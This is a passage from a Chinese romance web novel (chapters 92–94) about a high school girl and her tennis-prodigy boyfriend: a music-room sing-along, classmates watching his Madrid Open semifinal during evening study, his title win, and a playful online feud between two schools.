姜织宁闻声望去，菲菲从音乐教室里跑出来，问她：“宁王，你上次建议的托举动作是怎么做的？有教学视频参考吗？” 不等姜织宁回答，周静瑶抢先说：“要什么参考视频，这不是正好双A组在场吗，机会难得，让衍神亲自示范给你看，他可会了。” 说完，她笑嘻嘻对姜织宁说：“之前你俩拿气球那个举高高，特有氛围感！” “” 姜织宁无奈看着周静瑶捣乱。 和姜织宁一样，菲菲也是舞蹈节目《This is Me》的表演成员之一。 舞蹈环节中，有个女生飞奔向男生，男生迅速托举起女生的动作，原本设计的托举姿势不太自然，所以菲菲和男生排练时总是卡顿。 姜织宁知道后，帮忙优化了下两人的走位，顺势建议换一个托举姿势，换成她之前拿气球时，柯译衍让她坐肩膀上起身的托举。 周静瑶原本不知道双A组玩举高高，那天在幼儿园，她一整天都忙得像村里拉磨的驴，累都累死了，压根没注意姜织宁。 是幼儿园外请的专业摄影师，意外拍到柯译衍抱着姜织宁拿气球的照片，摄影师看了觉得挺有氛围感，便单独发给周静瑶。 比起姜织宁的无语，柯译衍倒是格外大方，点头说可以，姜织宁还能说什么，只能亲自上阵。 就这样，两人被簇拥进音乐教室。 教室里有几名玩乐队的高三生，懒洋洋坐在乐器旁边闲聊，数名舞蹈教室里的同学闻讯跑来看热闹。 柯译衍曲膝蹲下，没有之前的小心翼翼，姜织宁直接坐向他左肩膀，右手扶住他右肩，柯译衍单手抱着姜织宁，轻松起身。 “wow！！！” “wu！！！” “噫～～～” 教室里瞬间响起此起彼伏的起哄声，玩乐队的男生兴奋地狂敲架子鼓。 “我靠！牛逼啊！” “就就这么站起来了？” 男生们集体瞪眼，一脸佩服看着柯译衍，女生眼中则充满了羡慕。 姜织宁低头对菲菲说：“就是这样的托举，姿势比较美观，也不影响你手上做动作。” 菲菲一个字也没听进去。 她直勾勾盯着双A组，眼睛狂冒粉红泡泡，双手捂住泛红脸颊，一脸“我磕到了！”的激动表情。 菲菲忍不住激动大吼一声：“妈呀，这不就是男友力吗！太帅了吧！” 姜织宁：“” 柯译衍仰头，笑看向姜织宁。 要托举菲菲的男生还没看清动作链，柯译衍就起身了，男生抓耳挠腮，不得不走上前，虚心请教：“衍神，刚才没看清，能再示范一遍吗？重心是放在肩膀上？” “也不是，那样容易摔。”柯译衍轻轻放下姜织宁。 男生比柯译衍矮一些，菲菲的身型比姜织宁娇小，柯译衍耐心指导几遍后，男生很快学会托举。 周静瑶仰头看着坐在男生肩膀上的菲菲，打趣问：“菲菲，什么感觉啊？” 菲菲惋惜叹了声：“可惜啊，男友力是体会不到了，但不得不说，这海拔高就是不一样，空气是真新鲜啊！” 神特么空气真新鲜！ 众人哈哈大笑。 周静瑶笑倒在姜织宁身上，上气不接下气地说：“你要是体会到哈哈哈哈男友力就完了，吴瑞奇哈哈哈哈他绝对马上杀回学校！” 菲菲瞪眼，连忙冲她比了个住嘴手势。 俞杨听说柯译衍回来了，非要从俱乐部那边跑来学校，说一起吃晚饭，柯译衍和姜织宁干脆在音乐教室等人。 钢琴乐谱架上摆着琴谱，姜织宁随手拿起来翻看，没翻几页，便看到了《This is Me》。 她指给柯译衍看：“校庆上我们就是表演这首歌。” 他偏头瞥了眼，说：“想听么？” “你会？”姜织宁露出惊讶表情。 柯译衍慢悠悠坐到琴凳上，语调自信：“你想听的我都会。” 她抿唇哦了声，笑夸：“厉害～” 钢琴凳是双人式的，空间足够大，姜织宁背对着钢琴，反方向坐到柯译衍身边。 柯译衍看着琴谱，单手试了几个音。 玩乐队的人耳朵格外灵敏，负责架子鼓的男生率先听见琴音，立刻嚷嚷起来：“衍神弹什么呢？一起玩啊！嗨，早知道你会弹钢琴，就拉你组乐队了，咋这么低调呢！” 周静瑶一边拍视频，一边说：“就是不想被你拉走组乐队，所以人家才低调啊。” 众人哄堂大笑，柯译衍也勾唇笑起来，没反驳。 “靠！我是什么洪水猛兽吗！”男生不满抱怨，“伤心了！伤心了！” 姜织宁笑着替柯译衍说：“他要弹《This is Me》。” “啊，可以可以，这曲子我们演奏过好多次。”男生扬起下巴，冲同伴们打了个响指，神情得瑟说，“机会难得，一起来一遍啊！” 几人迅速各就各位。 落日熔金，恢弘夕阳晕染天际线，整座校园变成一幅蜜糖色的画，泛着梦幻光晕。 纯白窗帘在徐徐微风中飞舞，橙色阳光穿透落地玻璃窗，洒进音乐教室，落到少年少女身上。 钢琴声响起片刻，菲菲突然站起来，拿矿泉水瓶当做话筒，放声唱道—— Im not a stranger to the dark 我早已习惯漫漫黑夜 Hide away they say 人们都说，躲起来吧 Cause we dont want your broken parts 我们并不想看见你支离破碎的样子 菲菲唱到最后一句时，忽然抬手指向姜织宁。 姜织宁笑眼弯弯接上，清嗓唱道—— But I wont let them break me down to dust 但我不会任由他们将我碾压成尘 I know that theres a place for us 我知道世界有我们容身的地方 For we are glorious 因为我们耀眼夺目 姜织宁停下嗓音的瞬间，无形的默契，在场所有人热血澎湃合唱起来。 When the sharpest words wanna cut me down 当锋言利语想要将我击垮 Im gonna send a flood gonna drown them out 我要释放滚滚洪流淹没他们的叫嚣 I am brave， I am bruised 我勇敢过，我受伤过 I am who Im meant to be 我注定与众不同 this is me 这就是我 Another round of bullets hits my skin 又一轮讥讽子弹打在我身上 Well fire away cause today， I won’t let the shame sink it 放马过来吧！今天，我不会被再被羞耻压垮 We are bursting through the barricades 我们要突破重重阻碍 And reach above the sun 向太阳的方向前进 we are Warriors 我们是勇士 Yeah thats what well be 我们会屹立于世人面前 本就是一首充满力量，特别热血的励志歌曲，大家正处于黎明之前的高三时期，都唱得很动情。 每个人心里的不甘、艰难、伤痕、破碎 所有的黑暗时刻，在这一瞬，全都通过纵情歌唱发泄出来。 闪耀的，充满蓬勃生命力的青春气息在音乐教室里绚烂绽放。 合唱结束，众人纷纷识趣离开，教室里空荡荡，只剩下柯译衍和姜织宁。 窗外晚风温柔吹进来，少女秀发随风扬起，又轻轻落到少年肩上。 阳光照耀，两道影子斜斜落在木地板上。 姜织宁垂眸望着紧挨在一起的人影，忽然开口清唱了一小段英文歌。 What if we rewrite the stars 或许我们可以改写命运 Say you were made to be mine 让你成为我的注定 Nothing could keep us apart 没有什么能将我们分离 Youd be the one I was meant to find 命中注定，非你莫属 柯译衍闻声偏头，静静注视着姜织宁。 姜织宁侧目对上少年柔和的目光，笑说：“唱给你的歌。” 柯译衍弯唇笑起来，慢悠悠问：“是表白吗？” 姜织宁轻眨眼，语调俏皮：“对啊，我很会说情话的～” 第93章 她的少年，是冠军！ 因为姜织宁突如其来的表白, 柯译衍心情好到了极点。 结完账出来，俞杨拿胳膊肘轻撞柯译衍，斜眼瞅他：“回来见到宁王心情很好是吧, 瞧你那样，我靠！你是真的可怕, 都快成盯妻狂魔了！” 柯译衍正低头回微信消息，闻言偏头瞄他一眼, 淡定回了句：“不止。” 俞杨：“啊？还有什么好事？说来听听。” “你确定？” “”俞杨无语呵呵一声，“卖啥关子, 是不是不想说？” 柯译衍摆出一副你非要我说的表情, 悠悠道：“有人表白。” 俞杨瞬间消音, 足足愣了好几秒，大怒骂道：“酸臭！有什么了不起, 我也有很多人表白啊，比赛时给我加油的球迷可多了！” 柯译衍目光疑惑, 认真反问：“我喜欢的人给我表白，你也是？” “” 俞杨捂着胸口, 一脸心碎靠到电线杆上，话都说不出来了。 柯译衍无情嘲笑：“所以为什么要问自取其辱的问题。” 俞杨：“……” 姜织宁帮周静瑶买完奶茶回来, 看见俞杨生无可恋靠着电线杆, 纳闷问：“他怎么了？身体不舒服？” 柯译衍微微摇头：“戏瘾犯了。” “”俞昂仰头望天, 有气无力蹦出三个字, “狗！东！西！” 只能短暂相聚，没办法久留, 柯译衍呆了一晚上, 第二天中午便赶至机场，搭乘飞向比利时安特卫普的航班, 去参加欧洲公开赛。 高三学习紧迫，大小考试不停歇，学生们自动开启卷生卷死的模式，住宿生主动延息，走读生晚自习回家后继续学习。 学习时间的延长让姜织宁感觉每天过得特别漫长，而一天又一天的翻篇，又让她觉得时间流逝特别迅速。 对于高三生而言，四季宛如一座不断向前走动的钟。 在蝉鸣如雨的热烈盛夏按下起始键，不知不觉中，时针走过四分之一。 蝉鸣渐消时，盛夏悄然落幕，空气中开始飘起阵阵桂花香。 课间，不经意抬眸一瞥，教学楼前的银杏叶在风中如蝶飞舞，众人恍然发现，金秋来了。 时间流逝，时针走过下个四分之一，树叶在一场又一场的刺骨寒风中凋零，只剩下光秃秃的枝条，金黄色的缤纷画卷褪变成白色，江洲市迎来了久违的初雪。 纯白雪花轻盈飘落，整座城市变成精致水晶球，校园广播应景放起流行歌曲。 学生们高度紧绷的精神状态因初雪而得以短暂松懈，纷纷欢呼尖叫着冲出教室，扎堆花坛边缘，兴奋堆起只有巴掌大的小雪人。 光阴似箭不等人，时针滴答滴答向前移动，期末联考结束后，高三上学期正式落下帷幕。 每日早出晚归，中药作伴，一整个学期的辛苦努力没有白费，每逢大考，姜织宁的考场排位都会或多或少地向前移动，一直在进步。 期末联考成绩很快出来，看到总分和排名的那一刻，姜织宁对自己很满意，只要再垫垫脚尖，她就能摸到京大的热门专业。 寒假只有短暂的休息，剩余大部分时间依然贡献给补课，春节过后，万物复苏，草长莺飞，盎然绿意迅速在校园里蔓延开。 时针伴随着春天走完四分之三，朝着又一个蝉鸣盛夏前进。 随着高考时间的临近，班里气氛变得越发放松。 课间休息，总有人在讲台两边组队打乒乓球，各种篮球足球经常在班里到处乱飞，气氛热火朝天，上晚自习时，老师偶尔会在班里放电影，以此缓解准考生的疲惫和压力。 距离高考还有一个月的时候，5月2日这一天，天色晴朗，阳光热烈，西班牙马德里网球公开赛如期举行男子单打半决赛。 本届马德里大师赛的赛程已经接近尾声，截至目前，四名来自不同国家的球员从96名男子单打选手中脱颖而出，将在今日半决赛中争夺出最后两个决赛名额。 总共两场半决赛，一场白天，一场晚上，中国男单选手柯译衍的比赛被安排在第一场，于当地时间下午一点开始。 由于马德里和国内有7个小时左右的时间差，所以比赛开始的时候，姜织宁正好在上晚自习。 幸运的是，今天的晚自习依然是放松时刻，刘彬让班长给大家放电影看。 班里气氛松弛自在，有人顾自埋头刷题，有人津津有味看着电影。 班主任有事不在班里，讲台无人坐镇。 趁此机会，半决赛快要开始之际，姜织宁速度叠高课桌上的书本，以此遮挡视线，轻声问周静瑶：“直播打开了吗？” “等会儿啊，”周静瑶嘶了声，低头鼓捣着手机，“刚才网有点卡，我再试试。” 周静瑶退出视频app，重新打开悦视TV体育专栏，点进首页头条的马德里网球公开赛男子单打半决赛直播间。 这回的直播画面终于流畅了。 “来了！来了！来了！” 周静瑶把手机斜靠到书本上，递给姜织宁一只蓝牙耳机。 姜织宁盯着屏幕，戴上耳机，一男一女两名解说员的声音清晰传来。 男解说员：“好，欢迎回来！观众朋友们大家好，这里是悦视TV——马德里网球公开赛男子单打半决赛直播现场，我是文涛。” 女解说员顺势笑着接话：“我是木子。” 距离比赛正式开始还有一段时间，直播画面停留在球员候场区，两名选手正在赛前热身，等候入场。 两人趁势聊起中国男单选手柯译衍，在本次公开赛里的突破表现。 文涛侧目看了眼木子，率先说：“那么今年刚满18岁，持外卡参赛，来自中国的小将柯译衍，在本届马德里公开赛中也是给了我们非常大的意外惊喜，可以说是以黑马之姿，一路过关斩将，晋级到半决赛。” 木子赞同点头：“确实，我们先来看一下译衍的晋级路程。在男单首轮比赛中，译衍以两场6-0的比分送蛋淘汰日本选手，第二轮比赛，译衍用6-4、6-3的比分淘汰德国选手，第三轮比赛中，以7-5、4-6、6-3淘汰英国著名老将，第四轮比赛，同样强势直落两盘，淘汰了塞尔维亚好手。” “那么在昨天的1/4决赛中，译衍经历了一场将近4个小时的鏖战，最终扭转不利局面，逆风翻盘，成功淘汰本届赛会5号种子选手，上一届的马德里公开赛冠军，目前世界排名第九的西班牙名将埃加斯，惊险晋级男单半决赛。” “要特别说明的是，在马德里公开赛之前，埃加斯已经连续收获3个巡回赛冠军，经过昨天的1/4决赛后，埃加斯赛前四连冠的愿景，被中国选手柯译衍就此终结。” 话音落下，文涛接话分析：“总体看下来，前面几轮比赛还是比较顺利的。” “没错，相对来说，前期晋级确实比较顺利。” 木子又笑道：“其实也不容易，我们都知道马德里公开赛是ATP1000大师赛系列之一，像这类最高级别的巡回赛事，往往云集了网坛顶级球员。” “译衍的职业生涯起步没多久，也是首次参加马德里公开赛，他第一次参赛就能打出这么亮眼的成绩，真的让我们相当惊喜，同时，也让我们看到了少年未来可期，年轻一代球员未来可期！” 文涛神情感慨地说：“是的，像我们的女子选手艾彤，也是非常年轻的小将，在昨天比赛中同样表现出色。那么到了昨天的1/4决赛，说实话啊，在解说的过程中，尤其是在抢七环节，我心里也为译衍捏了把汗。” “这场比赛中，译衍对阵的球员是上一届的冠军埃加斯，埃加斯实力强悍，大赛经验特别丰富，可以说是一场非常艰苦的比赛，幸好译衍顶住了压力，稳住心态，凭借强大的意志力，一点点扭转局面，最后反败为胜，夺回胜利！” 他顺势问道：“木子，你怎么看待译衍昨天的精彩表现？” 木子：“我觉得译衍的球商很高。” 文涛：“打球非常聪明。” 木子点头说：“对，比起去年来说，他今年在技术方面的提升特别明显，球风攻势凌厉，防守也非常出色，另一方面，在逆风局势里稳住了心态，不急不躁，保持冷静，也是他能获胜的关键因素。” “其实从昨天比赛就能看出来，译衍有颗大心脏，在一些关键分上处理的非常好，非常聪明，尤其是抢七环节里。” 文涛连连点头，表示赞同。 “那么埃加斯在比赛后期被译衍拖住后，明显被磨得心态失衡，情绪失控了，所以频繁出现非受迫性失误，二发失误率也比较高，二发多次失误，这在埃加斯过去的比赛中是比较少见的。” 木子额外聊到：“译衍在心态方面的把控，其实我不太意外。” 文涛顺势感兴趣问：“怎么说？和我们分享分享。” 木子笑着讲：“也是非常巧，译衍拿下法网青少年冠军那次，我正好在现场看了他的比赛，去年他转入职业网坛后，我解说过几场他的比赛，也采访过他，所以对这位年轻小将的网球之路有一定了解。” 文涛会意说：“说起网球之路，我曾听说，学业和职业球员两个方向上，译衍一度选择的是学业。” 木子点了点头，感慨道：“确实是这样，当初译衍拿下大满贯青少年冠军后，遭遇了一系列意外变故，很不容易。” “是的。”文涛插话，“彼此感情很深，帮助他拿下温网、法网，两座大满贯青少年冠军的教练Peter，意外空难去世了。” 木子接话：“对，在采访里译衍也提到过，Peter的去世让他备受打击，那段时间他状态特别低迷，找不到意义，是真的想放弃网球，所以后来出现了长达一年半左右的空白期，他直接上学去了，没有参加任何专业比赛。” “去年6月份，我在佛罗里达碰见译衍训练，特别意外，过去和他聊了几句，才得知他决定回归赛场。少年很有魄力，很有决心，不打算继续青少年赛事，直接选择转入职业网坛。” “这些过往经历，准确来说，应该是年少时的挫折吧，是造就他如今心态上比同龄选手更加沉稳，更有耐心的重要因素。” 文涛总结道：“所以球员们总是说，比赛过程中不仅仅是挑战对手，更是挑战自我，这个赛场上啊，有时候真的是心态决定一切。” 赛前话题告一段落，直播间镜头切换至桑塔纳球场。 赛场人声鼎沸，座无虚席，部分球迷手举加油牌，摇晃小国旗。 片刻，在赛事主持人的介绍与全场观众的欢呼下，柯译衍身背球包，和即将对阵的美国选手迈克依次入场。 之后，裁判现场抛硬币进行挑边，柯译衍猜中硬币，赢得挑边权，选择先发球。 选手裁判快速合影后，两位球员退到赛场底线位置，开始赛前击球热身。 现场镜头扫过四面八方的观众，与此同时，直播间里介绍起美国选手的相关背景。 看到这，姜织宁突然想起一事，扭头望向周静瑶，神情警惕问：“浩航是不是也在比赛现场？刚才镜头扫观众席的时候，我好像看见他了。” “对，他爸妈应该也在现场。”周静瑶表情惊讶，“镜头扫到他了？我怎么没发现？” 姜织宁：“这不重要，关键是，你有没有提醒他，现场别喊我名字？” 周静瑶回忆了下，不确定地说：“应该提醒了吧。” 听她这么说，姜织宁显然不放心，急问：“你现在给他发信息，再提醒几遍，让他千万别吼我名字，就说宁王害怕。” 周静瑶秒懂，当场闷笑出声：“啊哈哈哈哈哈哈哈，好的好的！” 姜织宁催了句：“现在就发啊！” “哈哈哈哈哈哈，明白明白！” 浩航是周静瑶的表弟，比周静瑶小一岁，性格阳光开朗，目前跟随父母在西班牙生活。 柯译衍这次参加马德里公开赛，姜织宁和周静瑶闲聊时，不经意提了句：“不知道观众席里的同胞多不多。” 通常来说，运动员在国外客场打比赛，观众席里的同胞并不算多，尤其前几轮比赛的时候，所以现场一声中文的“加油！”弥足珍贵，格外给人力量。 周静瑶懂她意思，想了想，说：“我那表弟浩航不就在马德里吗，别着急，我待会儿给他打个视频电话，让他去现场给衍神加油！” 姜织宁觉得主意不错，当即点头同意。 也不知道周静瑶当时怎么交代的，加上浩航又就是个特别能整活的外向E人，他接到表姐亲自安排的任务后，积极过头，顺势来了点自由发挥。 导致姜织宁观看男子单打第二轮比赛时，除了听到外国观众的几声e on柯！！！”，剩下现场听到最多的，就是用中文吼出来的—— “宁王说！！！衍神加油！！！” 每声加油，必带上她的外号 最初姜织宁没怎么听清，后面察觉到不对劲时，赛场镜头正好扫过观众席，在表弟特意热情向镜头展示的加油牌上定格了好几秒。 牌子上印着正红色，大写加粗，简单粗暴的—— 宁王说！！！衍神加油！！！ 加油牌不止一张，浩航还带了几名同学到场助威，每个人手里都举着张醒目的加油牌 当时姜织宁看到镜头里的那一幕，人直接麻了。 前几轮比赛，观众席里的同胞不多，所以表弟的加油呐喊特别显眼包。 柯译衍也很意外，比赛期间，他突然听到这声与众不同的加油，脸上表情明显愣了下。 待一局比赛结束，他侧目看向观众席，视线定格数秒，实在克制不住，直接在赛场上笑了起来。 柯译衍年纪轻，刚转入职业网坛没多久，如今单枪匹马，在ATP1000大师赛中一路打进半决赛，尤其是昨天那场和名将埃加斯的精彩逆袭对决，看得人热血沸腾。 所以一夜之间，什么天才少年、王者归来、璀璨新星、黑马传奇、突破历史 网上到处都是柯译衍的报道。 一夜爆红。 姜织宁低调惯了，这种时候，她可不想做个显眼包。 周静瑶给表弟发完提醒信息，收到回复后，立刻转告姜织宁，让她放心，随后把手机屏幕切回直播页面。 赛场，随着裁判一声指令，比赛正式开始。 第一局，柯译衍的发球局。 手机斜靠书本，两人戴着蓝牙耳机，专注盯着手机，就这么聚精会神观看了六局比赛，连班主任什么时候走到身后都没发现。 “看什么呢？” 刘彬弯下腰，轻声问。 “好球！太精彩了，反手切了一个很隐蔽的网前小球，4-2，译衍顺利破发，再拿下一局！” 耳机里传来解说员激动的嗓音，周静瑶目不转睛看着赛况，头也不抬地回了句：“网球比赛啊。” 刘彬瞄了眼画面，说：“柯译衍的比赛是吧？” 这男声，好像有点耳熟 姜织宁眼尾稍稍斜过去，猛然发现班主任神不知鬼不觉地站在后头。 “” 呼吸滞住的同时，她迅速推了下周静瑶。 周静瑶扭头，看到班主任来了，呆滞两秒，飞快把手机塞进课桌里。 刘彬直起身，严肃看着两人。 眼看班主任好像没有没收手机的意思，姜织宁一本正经解释道：“刘老师，我们在支持柯同学的比赛。” 牛逼 周静瑶佩服心想，姜织宁真是个天才。 于是，她也一本正经跟着说：“对！半决赛很关键的，赢了就进决赛了，咱们柯同学在国外赛场发光发热，我们作为同班同学，肯定要为柯同学助威加油！” 如今网上到处都是柯译衍的比赛报道，柯译衍身为即将毕业的高中生，媒体们纷纷找到他的母校江洲中学，想要了解他的过去，尤其是那段长达一年半的网球空白期。 而江中这边很保护学生，婉拒了很多媒体的上门采访。 下个月就高考了，这种时候没收手机已经没什么意义，今晚放电影看，也是为了缓解考生的考前压力，所以看电影和看球赛毫无差别。 刘彬下巴冲讲台一指，指挥说：“去。” “啊？”周静瑶一头雾水。 “去电脑上把比赛直播找出来。” “全班一起看啊？” “废话。” “” 就这样，电影被换成了网球赛。 几位对电影没兴趣，一直在埋头做题的同学纷纷放下笔，感兴趣看起球赛来。 手机没被没收，周静瑶还挺懵，回到座位后，拉着姜织宁说：“彬彬大气啊，都没拿我手机哎！” 姜织宁笑嗯了声：“我也觉得，幸好刚才说支持柯译衍比赛。” “没错没错，还是你牛！我都没想到这么说。” 姜织宁也觉得这事挺离谱，趁班主任出去的功夫，拿出手机对准屏幕拍了张照，准备比赛结束后发给柯译衍。 赛场上。 第一盘比赛，柯译衍以6-4的比分顺利拿下。 第二盘比赛，美国选手以7-5的比分扳回一盘。 总比分1-1。 最后一场决胜盘，柯译衍找准节奏，后期打得异常顺利。 依靠自身发球优势，同时积极上网进攻。 出其不意放小球，并且灵活改变球的旋转、速度、重量。 利用对手较弱的横向移动能力，反复调动对方来回跑动 柯译衍运用丰富的组合战术，沉稳拿下一分又一分。 已经是半决赛了，现场中文的加油接连不断，不再微弱，进入最后决胜盘的时候，观众们更是情绪高涨，拼命呐喊助威！ 与此同时，高三一班的气氛同样热火朝天，柯译衍每拿下一分，班里人立马激动拍桌叫好！ 裁判：“Game柯，柯leads，3-2。” 裁判：“Game柯，柯leads，4-3。” 裁判：“Game柯，柯leads，5-3。” 裁判：“30-15。” 裁判：“30-30。” 裁判：“40-40。” 裁判：“Advantage 柯。” 悦视TV直播间。 “大外角ACE球！漂亮！柯译衍现在拿到了赛点！接下来将是非常关键的一分！”男解说员振奋吼道。 女解说员情绪激动：“只要拿下这一分，译衍就能顺利进入决赛，刷新职业生涯新高度！” 高三一班气氛安静到极致，落针可闻。 姜织宁挺直身体，屏住呼吸，用力握住周静瑶的手，一眨不眨地盯着屏幕。 桑塔纳球场。 现场所有人的视线都聚焦在柯译衍身上。 赛点，最后一分！ 滚滚汗水滑落至下巴，不断滴落脚下发烫的红土地上，柯译衍接过球童投过来的网球。 发球之前，他侧目看了眼坐在不远处的教练团队，教练立马冲他握拳鼓励！ 他点点头，冷静收回视线，缓慢深呼吸，仰头把手中网球抛向上空。 同一时间，迅速引拍，侧身屈膝蓄力，身体如闪电般弹跳而起。 “嘭！”一声，网球凶狠凌厉砸向外角边线。 美国选手奋力挥拍去接，姿势勉强地把球打回来，柯译衍早已找准刁钻落点，球落地后，瞬间暴力正手回击。 网球飞到对面，美国选手紧跟着回球，柯译衍追着球的方向小跑几步，很快看清球的落点，滑动着停下脚步，没去接。 出界！ 他用力握拳吼了声。 他赢了！ 裁判迅速播报：“Game Set Match柯！2 sets to 1，6-4、5-7、6-3。” 话音落下，全场响起震耳欲聋的掌声和欢呼声。 解说员文涛激动吼道：“赢了！2-1，柯译衍顺利淘汰美国好手迈克，拿下半决赛！！！” 木子：“恭喜柯译衍成功晋级马德里公开赛男子单打决赛！！！这也是他职业生涯中，首次进入ATP大师赛决赛，年仅18岁！年少有为！让我们再次祝贺中国选手柯译衍！” 周围环绕着“啊啊啊啊啊！”的欢呼尖叫，姜织宁双眼亮晶晶，兴奋摇晃周静瑶手臂：“赢了赢了！柯译衍赢了！！！” 周静瑶直点头：“牛逼牛逼！太牛逼了！！！” 晚自习放学铃响，都等不及回家，一出校门口，姜织宁迅速拿出手机，给柯译衍发去祝贺信息。 【Ning】：太棒了！！！ 【Ning】：恭喜进入决赛！！！ 赛后采访、身体拉伸、团队会议复盘 等到所有事情忙完，柯译衍有空看到这条微信的时候，国内已是凌晨，姜织宁早已睡着。 他瞄了眼信息发送时间，轻挑眉，时间很早，姜织宁大概率看直播了。 有点担心她是不是生病了，否则本该晚自习的时间，她怎么有空看直播？ 柯译衍放下球包，站在酒店房间门口，打字回复。 【K】：没去学校上自习？ 隔天是周六，姜织宁起床看到微信时，柯译衍又休息了，她边吃早饭，边给他发信息。 【Ning】：当然去了。 【Ning】：昨天晚自习安排看电影，我和周导偷偷拿手机看你的比赛直播，结果中途不幸被班主任抓包 【Ning】：幸好他没没收手机，让周导把电影换成比赛直播。 【Ning】：晚自习全班人都在看你的比赛。 【Ning】：你说你，魅力大不大？ 半决赛结束后，决赛将于后天5月4日举行，中间有一天休息调整时间，休息这天，柯译衍大部分时间拿来训练，剩下时间用于观看决赛对手的资料。 周六晚上不用上自习，下午课程结束姜织宁就放学了，两人凑着时间，打了一会儿视频电话。 时间差原因，柯译衍刚坐下来吃午饭，姜织宁这边晚饭已经快吃好了。 这时，赵阿姨路过姜织宁身后，余光扫过手机屏幕，笑起来：“和译衍打电话呢？” 姜织宁嗯了声，侧身让开位置：“赵姨，要和他说话吗？” 去年夏天，柯译衍刚飞去美国训练的那段时间，别说姜织宁，就连赵阿姨都有些不习惯，家里原本两个小孩，突然走了一个，怪冷清的。 赵阿姨笑眯眯看向手机里的柯译衍，鼓励说：“译衍，好样的！决赛加油，阿姨相信你一定能拿下冠军！” 柯译衍笑着点头。 人走开，姜织宁重新回到镜头前，笑道：“你还没回答我呢。” “刚说什么？” 她撑着脸颊，慢悠悠说：“问你魅力大不大呀，晚自习全班人都在为你加油。” 柯译衍勾唇笑起来，不着调承认：“多少有点吧，毕竟宁王都给我表白了，自认还是有点魅力的。” 姜织宁：“才有点？衍神这么谦虚的吗？” 他挑眉：“那不然？” 她夸道：“我觉得你魅力超级大哎。” 他笑意加深，点头说：“可以，你说大就大。” 闲聊时间不多，姜织宁转而问：“护身符找到了？” 柯译衍：“找到了，在另一个球包的夹层里。” 这回，艾彤也参加了马德里公开赛，比赛期间，她偶尔会在场馆里偶遇柯译衍。 前两天，艾彤突然给姜织宁发微信，说柯译衍出门前没找到她送的护身符，脸色很不好看。 球员有很多随身物品，上场比赛时不止携带一个球包，幸好，柯译衍的体能教练在另一个球包里及时翻出护身符，柯译衍这才恢复心情。 姜织宁得知这件事，简直哭笑不得，不就一个护身符吗。 这会儿，她特意叮嘱他：“下次丢了就丢了，我可以再去庙里求，别因为这种小事影响心情，万一耽误比赛怎么办？” 柯译衍点点头：“知道了。” 姜织宁：“决赛几点开始？” 柯译衍：“下午六点半。” 她估算了下时差：“那就是国内明天凌晨一点半。 ” 柯译衍放下手中刀叉，好记性问：“周一是不是要考试？” “对，三模。” 他严肃警告：“你别熬夜看比赛啊，都有回放，把心思放考试上。” 她怕他担心，连忙说：“放心，我绝对不可能熬夜，凌晨一点半确实太晚了，我之前不是和你说过嘛，最近生物钟很准时，到点必困，闭眼就睡着了。” 电话那头传来教练催促的声音，柯译衍抬头应了声。 姜织宁立刻抓紧时间说：“明天决赛别紧张，也别有心理压力，你能打进大师赛决赛已经非常了不起了，大家都在夸你呢，尽力就行，上场后别想太多，我们都支持你。” 柯译衍点点头：“好，知道。” 吃完午饭，柯译衍就要去球场训练，彼此道别，挂掉视频。 5月4日，当地时间下午六点半，北京时间凌晨一点半，马德里网球公开赛男子单打决赛正式开始。 姜织宁回家时喝了中药，药有助眠作用，药效挺猛，导致她原本想看会儿比赛的自信想法并没有如愿，躺到床上没多久，她就睡了。 凌晨，她被窗外车鸣吵醒。 她揉着眼下床，去了趟厕所，回来打开手机，点进决赛直播间，双眼无神地看了十五分钟比赛。 后来实在太困了，意识迷迷糊糊间，她调低手机音量，放到枕头旁边，从睁眼看变成闭眼听，没过多久，再次睡着。 手机就这么一直播放到比赛结束。 隔天，5月5日，周一。 高考前的最后一场模拟考试将于今天上午开始，江洲市几所重点高中统一组织三模联考。 天清气朗，姜织宁迎着朝阳走进校园，经过林荫道，瞄见不少学生驻足在电子宣传屏周围，热烈讨论着什么。 她停下脚步，正眼望去，朝人群方向走近。 “宁！王！” 身后传来活力满满的招呼声。 周静瑶拎着早餐，一路小跑到姜织宁身边：“早啊宁王，看什么呢？” 姜织宁下巴微抬，指了下电子宣传屏。 周静瑶顺势扭头，定睛一看，会意感叹起来：“哇，咱们学校的效率太高了吧！决赛今天凌晨四点多才结束，这大早上的，学校就给衍神宣传上了，太牛了！” 电子宣传屏巨大，此时，全屏放映着一张赛场彩带飘落，柯译衍立于奖台，双手高举冠军奖杯的帅气官方照。 屏幕最上面一栏滚动播放着祝贺语—— 恭喜柯译衍同学夺得马德里公开赛男单冠军！ 周静瑶抬手一指，夸道：“看那个冠军奖杯，造型好帅啊！” 姜织宁仰头注视着耀眼夺目的柯译衍，翘起唇角，心情好到不行。 她的少年，是冠军！ 第94章 现在能牵手了吗？ 柯译衍是转校生, 高一下半学期才转来江洲中学，所以除了江中，柯译衍之前就读的雾京一中也迅速趁势拉起了祝贺横幅—— 恭喜我校柯译衍同学夺得马德里公开赛男单冠军！ 两边学校同时宣传, 而且，雾京一中还特意加上了“我校”两个字, 这就有点微妙了。 晚自习之前，周静瑶坐位子上, 一边吃饼干，一边低头浏览着网上火药味十足, 就为了柯译衍到底是哪个学校学生而争吵的互撕大战。 “雾京一中太搞笑了, 还我校呢, 人柯译衍早就转校啦！和你们有什么关系嘞？” “这不就是妥妥的混淆视听，蹭热度吗” “就是！之前柯译衍参加校网球联赛, 代表的是江中，又不是代表雾中, 那次比赛他拿冠军，怎么不见雾中站出来恭喜啊？” “6转校怎么了, 他最开始就在雾中读书好吗！” “那又如何？就问你柯译衍最后拿哪个高中的毕业证？” “反正雾京一中是他首选，江中是备胎！” “备胎？？？卧槽, 你是哪根葱啊？柯译衍自己都不敢这么说吧, 你这个黑子！” “放屁备胎！柯译衍是我们大江中培养出来的！！！” “呵呵, 难道我们雾中就没有培养之恩吗？！做人不能忘本！” “半学期能培养个屁啊！” “备胎？” “哈哈哈江中备胎是什么鬼啊哈哈哈哈哈哈哈！！！” “柯译衍知道这群人在这胡扯吗？” “哈哈哈这群乐子人笑死我了！！！” 班里几个女生围聚在一块儿, 边吃零食，边看周静瑶的手机。 周静瑶浏览着网友评论, 直接笑成猪叫, 姜织宁歪头靠在她肩膀上，也是弯眼笑得不行。 沉闷的高三生活, 一点小事就能变成乐子，开心许久。 唉，果然人红是非多啊，姜织宁笑眯眯拿出手机，拍了张吵架图，发给柯译衍。 【Ning】：我就说你魅力大吧，瞧瞧，连学校都要为了你打起来。 【K】：别搞。 【Ning】：哈哈哈，太逗了。 【K】：在机场，想不想吃蜂蜜黄油饼干？这边特色甜品。 【Ning】：想吃，但你又不回国，怎么带给我啊？ 【K】：我妈明天回来。 